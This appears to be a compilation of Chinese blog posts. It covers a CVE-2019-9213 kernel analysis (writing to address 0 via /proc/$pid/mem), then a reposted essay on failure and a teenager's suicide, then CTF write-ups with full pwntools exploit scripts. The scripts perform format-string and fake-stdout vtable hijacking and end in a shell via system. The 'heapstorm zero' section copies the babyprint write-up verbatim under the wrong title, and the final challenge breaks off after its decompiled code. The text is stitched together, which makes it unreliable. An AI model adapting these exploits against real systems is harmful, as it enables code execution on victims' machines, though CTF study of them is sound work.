CVE-2019-9213 分析笔记

漏洞概述:

这个漏洞并不能提权,它应该属于组合技里面关键的一环,同样问题的开始出现在/proc/$pid/mem上,如果有写目标内存权限的话,那么是可以在目标用户内存空间为0的虚拟地址写东西的,那么如果再配上一个内核里面的null pointer dereference的洞是有可能制造提权效果的。

漏洞分析:

mem_open较之之前的CVE-2012-0056并没什么发生明显的变化,只是把一些操作封装起来了,这次出现问题地方比较深,直接来看mem_write:

1
2
3
4
5
static ssize_t mem_write(struct file *file, const char __user *buf,
size_t count, loff_t *ppos)
{
return mem_rw(file, (char __user*)buf, count, ppos, 1);
}
write 和 read也整合到了一起。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
static ssize_t mem_rw(struct file *file, char __user *buf,
size_t count, loff_t *ppos, int write)
{
...
while (count > 0) {
int this_len = min_t(int, count, PAGE_SIZE);

if (write && copy_from_user(page, buf, this_len)) {
copied = -EFAULT;
break;
}

this_len = access_remote_vm(mm, addr, page, this_len, flags);
...
回顾一下之前的CVE,之前的CVE利用点在于mm结构是mem_write才获取的,那么可以execl来替换掉/proc/self/mem,导致了su可以写自己的内存。那么在这里同样是拿su来写,但是写的是其他进程的内存,写其他低权限进程的内存,有什么作用呢?似乎也没什么作用,但是这里竟然能写到目标内存虚拟地址为0的地方上。

这里需要把目光聚集在是如何获取到这个地址0的。接着看access_remote_vm:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int access_remote_vm(struct mm_struct *mm, unsigned long addr,
void *buf, int len, unsigned int gup_flags)
{
return __access_remote_vm(NULL, mm, addr, buf, len, gup_flags);
}

int __access_remote_vm(struct task_struct *tsk, struct mm_struct *mm,
unsigned long addr, void *buf, int len, unsigned int gup_flags)
{
struct vm_area_struct *vma;
void *old_buf = buf;
int write = gup_flags & FOLL_WRITE;

down_read(&mm->mmap_sem);
/* ignore errors, just check how much was successfully transferred */
while (len) {
int bytes, ret, offset;
void *maddr;
struct page *page = NULL;

ret = get_user_pages_remote(tsk, mm, addr, 1,
gup_flags, &page, &vma, NULL);
...
maddr = kmap(page);
if (write) {
copy_to_user_page(vma, page, addr,
maddr + offset, buf, bytes);
set_page_dirty_lock(page);
} else {
copy_from_user_page(vma, page, addr,
buf, maddr + offset, bytes);
}
kunmap(page);
put_page(page);
...
}
获取目标page的地方并不在这里,但是这里把获取目标page和写page分开了。所以这里只需要重点关注get_user_pages_remote,接下来的一些过程比较冗余,不想直接拉代码跟记流水账一样,所以这里只会列出一些重点的地方。 :)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
tatic long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
unsigned long start, unsigned long nr_pages,
unsigned int gup_flags, struct page **pages,
struct vm_area_struct **vmas, int *nonblocking)
{
...
do {
struct page *page;
unsigned int foll_flags = gup_flags;
unsigned int page_increm;

/* first iteration or cross vma bound */
if (!vma || start >= vma->vm_end) {
vma = find_extend_vma(mm, start);
...

第一次迭代会去初始化vma,什么是vma?就是虚拟内存,如果你去看/proc/$pid/maps内容,其中每一行就是一个vma块。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
struct vm_area_struct *find_vma(struct mm_struct *mm, unsigned long addr)
{
struct rb_node *rb_node;
struct vm_area_struct *vma;
...
rb_node = mm->mm_rb.rb_node;
while (rb_node) {
struct vm_area_struct *tmp;
tmp = rb_entry(rb_node, struct vm_area_struct, vm_rb);
if (tmp->vm_end > addr) {
vma = tmp;
if (tmp->vm_start <= addr)
break;
rb_node = rb_node->rb_left;
} else
rb_node = rb_node->rb_right;
}
if (vma)
vmacache_update(addr, vma);
return vma;
}
这里就是具体找合适vma结构的地方,有一个宗旨addr < vma->end,mm->mm_rb是个红黑二叉树结构,不要想的太过于复杂,在结构上就是和普通二叉树数搜索是一样的,小的在左子节点,大的在右子节点,通过vma->vm_start <= addr判断,然后不断的逼近合适的vma区域。

在这里你是可以发现addr 如果太大,大于高地址的vma->vma_end那么肯定是会返回NULL的,但比较小的话,小于低地址的vma->vma_start是会返回这个低地址所对应的vma。

再进一步看拿到vma是怎么处理的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
find_extend_vma(struct mm_struct *mm, unsigned long addr)
{
struct vm_area_struct *vma;
unsigned long start;

addr &= PAGE_MASK;
vma = find_vma(mm, addr);
if (!vma)
return NULL;
if (vma->vm_start <= addr)
return vma;
if (!(vma->vm_flags & VM_GROWSDOWN))
return NULL;
start = vma->vm_start;
if (expand_stack(vma, addr))
return NULL;
if (vma->vm_flags & VM_LOCKED)
populate_vma_page_range(vma, addr, start, NULL);
return vma;
}
很显然,我们如果说传入的addr是0,即使我们用mmap分配到虚拟地址最低的位置0x10000.这个值可以查看/proc/sys/vm/mmap_min_addr,也是不在这个vma范围的。但是有趣的来了,如果这个vma的flag设置了VM_GROWSDOWN是会进行虚拟内存向下扩展的。

但是会进行一项security_mmap_addr的检查:

1
2
3
4
5
6
7
8
9
10
11
12
13
int cap_mmap_addr(unsigned long addr)
{
int ret = 0;

if (addr < dac_mmap_min_addr) {
ret = cap_capable(current_cred(), &init_user_ns, CAP_SYS_RAWIO,
SECURITY_CAP_AUDIT);
/* set PF_SUPERPRIV if it turns out we allow the low mmap */
if (ret == 0)
current->flags |= PF_SUPERPRIV;
}
return ret;
}
这里检查很显然已经用su绕过了,current_cred()取的写/proc/self/mem的进程。接下来的一步,在这里我就有些不理解了:
1
2
3
4
5
6
7
prev = vma->vm_prev;
/* Check that both stack segments have the same anon_vma? */
if (prev && !(prev->vm_flags & VM_GROWSDOWN) &&
(prev->vm_flags & (VM_WRITE|VM_READ|VM_EXEC))) {
if (address - prev->vm_end < stack_guard_gap)
return -ENOMEM;
}
按照前面遍历的过程,此时vma拿到的肯定是地址最低的地方,怎么可能还会有更低的地方?这里的检查有什么作用?然后我想了一下整个过程,其实这里有道理的。可能会出现这样一种情况:

1
2
3
4
5
6
7
--------------|low
|VMA |
--------------|high
| \|/ <-----------addr
--------------
|VMA |
--------------

这里出现stack_guard_gap为1M,是一种当vma内存增长时保护措施,具体的可以看看这篇文章https://blog.qualys.com/securitylabs/2017/06/19/the-stack-clash

回到本文的主题,显然这里一切正常,绕过了mmap_min_addr的限制向下扩展内存,然后用缺页中断,分配真正物理内存。以至于可以在用户空间0虚拟地址写入构造的数据,这个mmap_min_addr设置的初衷就是为了减少linux kernel里面null pointer dereference的隐患。 也并非不可以在虚拟地址0上写东西,这个mmap_min_addr的是可以直接设置的。

思考:

https://cert.360.cn/report/detail?id=58e8387ec4c79693354d4797871536ea 这篇文章的师傅发表了一个观点说,修复的方法似乎并不合理。但我认为这恰恰是最合理的。 > 笔者以为这样修补没有真正解决问题。这是一个逻辑漏洞,根本原因在于可以通过两个进程绕过security_mmap_addr函数中cap_capable(current_cred()……)的检查逻辑

师傅认为这里的cap_capable检查逻辑存在问题。我感觉这里并没有错,只是用错了地方。 > If the process is attempting to map memory below dac_mmap_min_addr they need CAP_SYS_RAWIO. The other parameters to this function are unused by the capability security module. Returns 0 if this mapping should be allowed-EPERM if not.

从上述注释可以看的出来,the process想要获取目标内存低于dac_mmap_min_addr的内存映射,必须要有CAP_SYS_RAWIO的权限。这个地方权限判断不应该放在进程读写这个地方,想要获取的目标地址并不是属于当前进程,security_mmap_addr应该是用在当前进程下的地址判断。

但是如果说其他地方也用到这个security_mmap_addr,如果处于进程间的读写话,也是有可能出现问题的。我也搜索了一下存在security_mmap_addr的函数。只有一个get_unmapped_area有,这个函数发生在用户进程空间需要映射新的内存时候。这也很难把和多进程的操作联系起来。

所以正如官方修复的那样,直接删掉这个地方不合理的权限判断,扩展低于mmap_min_addr的地址时直接返回error。

但是这里还是可以通过指定VM_GROWSDOWN来向下扩展内存。这是比较有趣的地方,虽然不能扩展至mmap_min_addr以下。接下来就是分析利用这个洞的组合技。:)

跌倒-寄K

--转自龙应台《目送》

img

不久前,震动了整个香港的一则新闻是,一个不堪坎坷的母亲,把十岁多一点的两个孩子手脚捆绑,从高楼拋落,然后自己跳下。

今天台湾的新闻,一个国三的学生在学校的厕所里,用一个塑胶袋套在自己头上,自杀了。

读到这样的新闻,我总不忍去读细节。掩上报纸,走出门,灰蒙蒙的天,下着细雨。已经连下了三天雨,早上醒来时,望向窗外,浓浓的雾紧紧锁住了整个城市。这个十五岁的孩子,人生最后的三天,所看见的是一个灰蒙蒙、湿淋淋、寒气沁人的世界。这黯淡的三天之中,有没有人拥抱过他?有没有人抚摸过他的头发,对他说 “孩子,你真可爱”?有没有人跟他同走一段回家的路?有没有人发简讯给他,约他周末去踢球?有没有人对他微笑过,重重地拍他肩膀说,“没关系啊,这算什么?”有没有人在MSN上跟他聊过天、开过玩笑?有没有人打过电话给他。用不放心的声音说,“嘿,你今天怎么了?”

  在那三天中,有没有哪一个人的名字被他写在笔记本里,他曾经一度动念想去和对方痛哭一场?有没有某一个电话号码被他输入手机,他曾经一度犹疑要不要拨那个电话去说一说自己的害怕?

  那天早上十五岁的他决绝地出门之前,桌上有没有早点?厨房里有没有声音?从家门到校门的一路上,有没有一句轻柔的话、一个温暖的眼神,使他留恋,使他动摇?

  我想说的是,K,在我们整个成长的过程里,谁,教过我们怎么去面对痛苦、挫折、失败?它不在我们的家庭教育里,它不在小学、中学、大学的教科书或课程里,它更不在我们的大众传播里。家庭教育、学校教育、社会教育只教我们如何去追求卓越,从砍樱桃的华盛顿、悬梁刺骨的张秦到平地起楼的比尔盖茨,都是成功的典范。即使是谈到失败,目的只是要你绝地反攻,再度追求出人头地,譬如越王勾践的卧薪尝胆,洗雪耻辱,譬如哪个战败的国王看见蜘蛛如何结网,不屈不挠。

  我们拼命地学习如何成功冲刺一百米,但是没有人教过我们:你跌倒时,怎么跌得有尊严;你的膝盖破得血肉模糊时,怎么清洗伤口、怎么包扎;你痛得无法忍受时,用什么样的表情去面对别人;你一头栽下时,怎么治疗内心淌血的伤口,怎么获得心灵深层的平静,心像玻璃一样碎了一地时,怎么收拾?

  谁教过我们,在跌倒时,怎样的勇敢才真正有用?怎样的智慧才能度过?跌倒,怎样可以变成行远的力量?失败,为什么往往是人生的修行?何以跌倒过的人,更深刻、更真诚?

  我们没有学过。

  如果这个社会曾经给那十五岁的孩子上过这样的课程,他留恋我们——以及我们头上的蓝天——的机会是不是多一点?

  现在K也绊倒了。你的修行开始。在你与世隔绝的修行室外,有很多人希望捎给你一句轻柔的话、一个温暖的眼神、一个结实的拥抱,我们都在这里,等着你。可是修行的路总是孤独的,因为智慧必然来自孤独。

De1ctf2019-unprintable

point

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char v3; // [rsp+0h] [rbp-10h]
unsigned __int64 v4; // [rsp+8h] [rbp-8h]

v4 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("Welcome to Ch4r1l3's printf test");
printf("This is your gift: %p\n", &v3);
close(1);
read(0, buf, 0x1000uLL);
printf(buf, buf); //很明显的格式化漏洞
exit(0);
}

这里printf之后直接exit,所以这个需要找exit里面找一找能不能控制程序流的地方。exit过程中调用了_dl_fini,在_dl_fini里面有一个指针引用的函数调用

1
2
3
4
5
6
7
8
9
10
11
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) ();
}

这个((fini_t) array[i]) ();这个call的汇编代码如下:

1
call   QWORD PTR [r12+rdx*8]  ;rax ==  i

再看这个r12的指向

1
2
3
mov    r12,QWORD PTR [rax+0x8]
mov rax,QWORD PTR [rbx+0x120]
add r12,QWORD PTR [rbx]

这个地方rbx = &(l->l_addr) , l就是link_map,这个link_map的地址是残留在调用栈上的。所以这里我们是可以写link_map开始的4字节,原本是指向fini_array,所以这里我们可以让r12指向bss上。相应的bss的位置,设置为main函数内,即read的位置

1
2
3
4
mov     edx, 1000h      
mov esi, offset buf
mov edi, 0
call read

这里比较巧妙的是栈上有printf返回值的地址。所以这里又可以控制printf的返回值。制造了一个循环read & printf的场景。接下来是就在bss上布局,再用一个gadget把栈切到bss上。

bss段上又有stderr,stdout,stdin指向libc的内存空间上。我们可以选择其中一个将其变成one_gadget.这里需要用到一个特殊gadget

1
.text:00000000004006E8                 adc     [rbp+48h], edx

整个过程用还是用libc_csu_init通用链来控制流程,exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
from pwn import *

debug=1

context.log_level='debug'

if debug:
p=process('./unprintable')
#p=process('',env={'LD_PRELOAD':'./libc.so'})
else:
pass

def ru(x):
return p.recvuntil(x)

def se(x):
p.send(x)

def sl(x):
p.sendline(x)

def wait(x=True):
#raw_input()
sleep(0.3)

def write_addr(addr,sz=6):
t = (stack+0x40)%0x100
v = p64(addr)
for i in range(sz):
if t+i != 0:
se('%'+str(t+i)+'c%18$hhn%'+str(1955-t-i)+'c%23$hn\x00')
else:
se('%18$hhn%1955c%23$hn')
wait()
tv = ord(v[i])
if tv != 0:
se('%'+str(tv)+'c%13$hhn%'+str(1955-tv)+'c%23$hn\x00')
else:
se('%13$hhn%1955c%23$hn')
wait()

def write_value(addr,value,addr_sz=6):
write_addr(addr,addr_sz)
se('%'+str(ord(value[0]))+'c%14$hhn%'+str(1955-ord(value[0]))+'c%23$hn\x00')
wait()
ta = p64(addr)[1]
for i in range(1,len(value)):
tmp = p64(addr+i)[1]
if ta!=tmp:
write_addr(addr+i,2)
ta = tmp
else:
write_addr(addr+i,1)
if ord(value[i]) !=0:
se('%'+str(ord(value[i]))+'c%14$hhn%'+str(1955-ord(value[i]))+'c%23$hn\x00')
else:
se('%14$hhn%1955c%23$hn\x00')
wait()

buf = 0x601060+0x100+4

ru('This is your gift: ')
stack = int(ru('\n'),16)-0x118

if stack%0x10000 > 0x2000:
p.close()
exit()

#ret_addr = stack - 0xe8

se('%'+str(buf-0x600DD8)+'c%26$hn'.ljust(0x100,'\x00')+p64(0x4007A3))
wait()

#tmp = (stack+0x40)%0x10000

#se('%c'*16+'%'+str(tmp-16)+'c%hn%'+str((163-(tmp%0x100)+0x100)%0x100)+'c%23$hhn\x00')
se('%163c%23$hhn\x00')
wait()

if debug:
gdb.attach(p)

raw_input()

rop = 0x601060+0x200

write_value(stack,p64(rop)[:6])

context.arch = 'amd64'

prbp = 0x400690
prsp = 0x40082d
adc = 0x4006E8
arsp = 0x0400848
prbx = 0x40082A
call = 0x400810
stderr = 0x601040

payload = p64(arsp)*3
payload += flat(prbx,0,stderr-0x48,rop,0xFFD2BC07,0,0,call)
payload += flat(adc,0,prbx,0,0,stderr,0,0,0,0x400819)

se(('%'+str(0x82d)+'c%23$hn').ljust(0x200,'\0')+payload)

print(hex(stack))

p.interactive()

HCTF2018-babyprint

point

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
v3 = *(_QWORD *)&stdout[1]._flags;
while ( 1 )
{
v6 = 0;
while ( 1 )
{
read(0, &buf, 1uLL);
buffer[v6] = buf;
if ( buffer[v6] == 10 )
break;
if ( ++v6 > 511 )
goto LABEL_6;
}
buffer[v6] = 0;
LABEL_6:
v4 = stdout;
if ( *(_QWORD *)&stdout[1]._flags != v3 )
{
write(1, "rewrite vtable is not permitted!\n", 0x21uLL);
*(_QWORD *)&v4[1]._flags = v3;
}
__printf_chk(1LL, buffer, 3735928559LL);
}

很显然格式化漏洞,但是这个地方用的是printf_chk, 无法用来写,只能用来leak。但是这里写buffer是可以覆盖stdout的,所以可以用stdout来写。这里做了一个check保证vtable不会被劫持。但是这里并没有用,我们来分析分析这里为什么没有用。 _printf_chk 会调用_IO_vfprintf_internal,这个函数再进行格式化输出的时候,会用%来分割format。比如第一个%之前的字符串,肯定是原样输出,当然这里碰到\x00,也是会造成截断的。那么先把这条字符串输出。输出时调用_IO_new_file_xsputn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
const char *s = (const char *) data;
_IO_size_t to_do = n;
int must_flush = 0;
_IO_size_t count = 0;

if (n <= 0)
return 0;

if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
{
...
}
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr; //这里如果输出缓存存在的话,先把输出缓冲填满。

if (count > 0)
{
if (count > to_do)
count = to_do;
f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
//这里我们是可以位置stdout来达到任意写的
s += count;
to_do -= count;
}
if (to_do + must_flush > 0) //must_flush可以不用管。需要携带相应的flag和输出字符中要存在\n
{ //默认mush_flush为零,那么这里如果to_do>0,就会刷新输出缓冲
//所以这里我们在上面那一步直接覆盖vtable
//这里只需要输出的字符串长度是大于输出缓冲区的情况下,就会刷新缓冲
//所以前面check vtable其实是没有用的。在这步之前需要把bypass iO_vtable_check的准备工作做好。
_IO_size_t block_size, do_write;
/* Next flush the (full) buffer. */
if (_IO_OVERFLOW (f, EOF) == EOF)

所以这道题的整体上就是用printf_chk leak,然后就是写vtable,控制程序流。下面直接看exp,这些通过写fs:[30]来bypass IO_vtable_check的可以看看我前面写那篇文章。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
from pwn_debug import *
context.log_level='debug'

pwdg=pwn_debug("babyprintf")

pwdg.context.terminal=['tmux', 'splitw', '-h']


pwdg.debug('2.27')


p=pwdg.run("debug")

libc = pwdg.libc

raw_input('a')
p.recvuntil('location to ')
binary=p.recvuntil('\n')[:-1]

buff=int(binary,16)
data=buff-0x10
success('data {}'.format(hex(data)))
p.recvuntil('!\n')
stdout_offset=buff+0x100
fake_stdout=p64(0xfbad2284|0x8000)
fake_stdout+=p64(stdout_offset+116)*3
fake_stdout+=p64(stdout_offset+116)*2
fake_stdout+=p64(stdout_offset+116+6)
fake_stdout=fake_stdout.ljust(112,'\x00')
fake_stdout+=p32(1)
fake_stdout=fake_stdout.ljust(0xd0,'\x00')
fake_stdout+=p64(buff);

fmt_s="xxxx%72$p"
poc1=fmt_s.ljust(0x10,'\x00')+p64(stdout_offset)
poc1=poc1.ljust(0x100,'\x00')
poc1+=fake_stdout
p.sendline(poc1)
p.recvuntil('\n')
libc_addr=int('0x'+p.recv(12),16) - libc.symbols['__libc_start_main'] - 238 # leak libc_base
#43:0x7ffc54238e48 -> 0x7f30f3521b8e (__libc_start_main+238) mov edi, eax

success('libc {}'.format(hex(libc_addr))) #
raw_input('a')
fmt_s="xxxx%74$p"

poc1=fmt_s.ljust(0x10,'\x00')+p64(stdout_offset)
poc1=poc1.ljust(0x100,'\x00')
poc1+=fake_stdout
p.sendline(poc1)
p.recvuntil('\n')
stack_addr=int('0x'+p.recv(12),16)
success('stack {}'.format(hex(stack_addr)))

raw_input('a')
io_check=libc_addr+libc.symbols['_IO_vtable_check']
sh=libc_addr+next(libc.search('/bin/sh'))
system=libc_addr+libc.symbols['system']
def write_to(addr,val):
fmt_s=val
fake_stdout=p64(0xfbad2284|0x8000)
fake_stdout+=p64(addr)*5
fake_stdout+=p64(addr+8)
fake_stdout=fake_stdout.ljust(112,'\x00')
fake_stdout+=p32(1)
fake_stdout=fake_stdout.ljust(0xd8,'\x00')
fake_stdout+=p64(buff);
poc1=fmt_s.ljust(0x10,'\x00')+p64(stdout_offset)
poc1=poc1.ljust(0x100,'\x00')
poc1+=fake_stdout
poc1+=p64(0xdeadbeef)*3
p.sendline(poc1)
p.recvuntil('\n')

def rol(x,off):
return ((x << off) | (x >> (64-off)))&0xffffffffffffffff

#0x7ffc54238e58 -> 0x7ffc54238f28 -> 0x7ffc54239fac <- '/tmp/babyprintf'

write_to(stack_addr,p64(libc_addr+0x3AF008+1)) # libc -> link_map
#0x7ffc54238f28 -> 0x7ffc54239fac <- '/tmp/babyprintf'

fmt_s="xxxxxx%%%d$s"%(74+0xd0/8)
poc1=fmt_s.ljust(0x10,'\x00')+p64(stdout_offset)
poc1=poc1.ljust(0x100,'\x00')
poc1+=fake_stdout
p.sendline(poc1)
p.recvuntil('\n')
tls_addr=u64('\x00'+p.recv(5)+'\x00\x00')
success('tls {}'.format(hex(tls_addr)))

write_to(tls_addr+0x1570,'a'*8) #fs:0x30
write_to(libc_addr+libc.symbols['IO_accept_foreign_vtables'],p64(rol((io_check)^u64('a'*8),17)))
fmt_s=p64(stdout_offset+0xd8)[:-2]+'aa'
fake_stdout=p32(0xfbad2284|0x8000)+';sh\x00' # check default_io_flag
fake_stdout+=p64(stdout_offset+0xd8)*3
fake_stdout+=p64(stdout_offset+0xd8)*2
fake_stdout+=p64(stdout_offset+0xd8+6)
fake_stdout=fake_stdout.ljust(112,'\x00')
fake_stdout+=p32(1)
fake_stdout=fake_stdout.ljust(0xd8,'\x00')
fake_stdout+=p64(buff);
poc1=fmt_s.ljust(0x10,'\x00')+p64(stdout_offset)
poc1=poc1.ljust(0x100,'\x00')
poc1+=fake_stdout
poc1+=p64(system)*3
assert len(poc1) < 0x200
raw_input('aaaaaaaaaaaaaaaaaaaaaaaaa')
p.sendline(poc1)
p.recvuntil('\n')

p.interactive()

HCTF2018-heapstorm zero

point

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
v3 = *(_QWORD *)&stdout[1]._flags;
while ( 1 )
{
v6 = 0;
while ( 1 )
{
read(0, &buf, 1uLL);
buffer[v6] = buf;
if ( buffer[v6] == 10 )
break;
if ( ++v6 > 511 )
goto LABEL_6;
}
buffer[v6] = 0;
LABEL_6:
v4 = stdout;
if ( *(_QWORD *)&stdout[1]._flags != v3 )
{
write(1, "rewrite vtable is not permitted!\n", 0x21uLL);
*(_QWORD *)&v4[1]._flags = v3;
}
__printf_chk(1LL, buffer, 3735928559LL);
}

很显然格式化漏洞,但是这个地方用的是printf_chk, 无法用来写,只能用来leak。但是这里写buffer是可以覆盖stdout的,所以可以用stdout来写。这里做了一个check保证vtable不会被劫持。但是这里并没有用,我们来分析分析这里为什么没有用。 _printf_chk 会调用_IO_vfprintf_internal,这个函数再进行格式化输出的时候,会用%来分割format。比如第一个%之前的字符串,肯定是原样输出,当然这里碰到\x00,也是会造成截断的。那么先把这条字符串输出。输出时调用_IO_new_file_xsputn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
const char *s = (const char *) data;
_IO_size_t to_do = n;
int must_flush = 0;
_IO_size_t count = 0;

if (n <= 0)
return 0;

if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
{
...
}
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr; //这里如果输出缓存存在的话,先把输出缓冲填满。

if (count > 0)
{
if (count > to_do)
count = to_do;
f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
//这里我们是可以位置stdout来达到任意写的
s += count;
to_do -= count;
}
if (to_do + must_flush > 0) //must_flush可以不用管。需要携带相应的flag和输出字符中要存在\n
{ //默认mush_flush为零,那么这里如果to_do>0,就会刷新输出缓冲
//所以这里我们在上面那一步直接覆盖vtable
//这里只需要输出的字符串长度是大于输出缓冲区的情况下,就会刷新缓冲
//所以前面check vtable其实是没有用的。在这步之前需要把bypass iO_vtable_check的准备工作做好。
_IO_size_t block_size, do_write;
/* Next flush the (full) buffer. */
if (_IO_OVERFLOW (f, EOF) == EOF)

所以这道题的整体上就是用printf_chk leak,然后就是写vtable,控制程序流。下面直接看exp,这些通过写fs:[30]来bypass IO_vtable_check的可以看看我前面写那篇文章。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
from pwn_debug import *
context.log_level='debug'

pwdg=pwn_debug("babyprintf")

pwdg.context.terminal=['tmux', 'splitw', '-h']


pwdg.debug('2.27')


p=pwdg.run("debug")

libc = pwdg.libc

raw_input('a')
p.recvuntil('location to ')
binary=p.recvuntil('\n')[:-1]

buff=int(binary,16)
data=buff-0x10
success('data {}'.format(hex(data)))
p.recvuntil('!\n')
stdout_offset=buff+0x100
fake_stdout=p64(0xfbad2284|0x8000)
fake_stdout+=p64(stdout_offset+116)*3
fake_stdout+=p64(stdout_offset+116)*2
fake_stdout+=p64(stdout_offset+116+6)
fake_stdout=fake_stdout.ljust(112,'\x00')
fake_stdout+=p32(1)
fake_stdout=fake_stdout.ljust(0xd0,'\x00')
fake_stdout+=p64(buff);

fmt_s="xxxx%72$p"
poc1=fmt_s.ljust(0x10,'\x00')+p64(stdout_offset)
poc1=poc1.ljust(0x100,'\x00')
poc1+=fake_stdout
p.sendline(poc1)
p.recvuntil('\n')
libc_addr=int('0x'+p.recv(12),16) - libc.symbols['__libc_start_main'] - 238 # leak libc_base
#43:0x7ffc54238e48 -> 0x7f30f3521b8e (__libc_start_main+238) mov edi, eax

success('libc {}'.format(hex(libc_addr))) #
raw_input('a')
fmt_s="xxxx%74$p"

poc1=fmt_s.ljust(0x10,'\x00')+p64(stdout_offset)
poc1=poc1.ljust(0x100,'\x00')
poc1+=fake_stdout
p.sendline(poc1)
p.recvuntil('\n')
stack_addr=int('0x'+p.recv(12),16)
success('stack {}'.format(hex(stack_addr)))

raw_input('a')
io_check=libc_addr+libc.symbols['_IO_vtable_check']
sh=libc_addr+next(libc.search('/bin/sh'))
system=libc_addr+libc.symbols['system']
def write_to(addr,val):
fmt_s=val
fake_stdout=p64(0xfbad2284|0x8000)
fake_stdout+=p64(addr)*5
fake_stdout+=p64(addr+8)
fake_stdout=fake_stdout.ljust(112,'\x00')
fake_stdout+=p32(1)
fake_stdout=fake_stdout.ljust(0xd8,'\x00')
fake_stdout+=p64(buff);
poc1=fmt_s.ljust(0x10,'\x00')+p64(stdout_offset)
poc1=poc1.ljust(0x100,'\x00')
poc1+=fake_stdout
poc1+=p64(0xdeadbeef)*3
p.sendline(poc1)
p.recvuntil('\n')

def rol(x,off):
return ((x << off) | (x >> (64-off)))&0xffffffffffffffff

#0x7ffc54238e58 -> 0x7ffc54238f28 -> 0x7ffc54239fac <- '/tmp/babyprintf'

write_to(stack_addr,p64(libc_addr+0x3AF008+1)) # libc -> link_map
#0x7ffc54238f28 -> 0x7ffc54239fac <- '/tmp/babyprintf'

fmt_s="xxxxxx%%%d$s"%(74+0xd0/8)
poc1=fmt_s.ljust(0x10,'\x00')+p64(stdout_offset)
poc1=poc1.ljust(0x100,'\x00')
poc1+=fake_stdout
p.sendline(poc1)
p.recvuntil('\n')
tls_addr=u64('\x00'+p.recv(5)+'\x00\x00')
success('tls {}'.format(hex(tls_addr)))

write_to(tls_addr+0x1570,'a'*8) #fs:0x30
write_to(libc_addr+libc.symbols['IO_accept_foreign_vtables'],p64(rol((io_check)^u64('a'*8),17)))
fmt_s=p64(stdout_offset+0xd8)[:-2]+'aa'
fake_stdout=p32(0xfbad2284|0x8000)+';sh\x00' # check default_io_flag
fake_stdout+=p64(stdout_offset+0xd8)*3
fake_stdout+=p64(stdout_offset+0xd8)*2
fake_stdout+=p64(stdout_offset+0xd8+6)
fake_stdout=fake_stdout.ljust(112,'\x00')
fake_stdout+=p32(1)
fake_stdout=fake_stdout.ljust(0xd8,'\x00')
fake_stdout+=p64(buff);
poc1=fmt_s.ljust(0x10,'\x00')+p64(stdout_offset)
poc1=poc1.ljust(0x100,'\x00')
poc1+=fake_stdout
poc1+=p64(system)*3
assert len(poc1) < 0x200
raw_input('aaaaaaaaaaaaaaaaaaaaaaaaa')
p.sendline(poc1)
p.recvuntil('\n')

p.interactive()

HCTF2018-the End

point

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
signed int i; // [rsp+4h] [rbp-Ch]
void *buf; // [rsp+8h] [rbp-8h]

sleep(0);
printf("here is a gift %p, good luck ;)\n", &sleep);
fflush(_bss_start);
close(1);
close(2);
for ( i = 0; i <= 4; ++i )
{
read(0, &buf, 8uLL);
read(0, buf, 1uLL);
}
exit(1337);
}

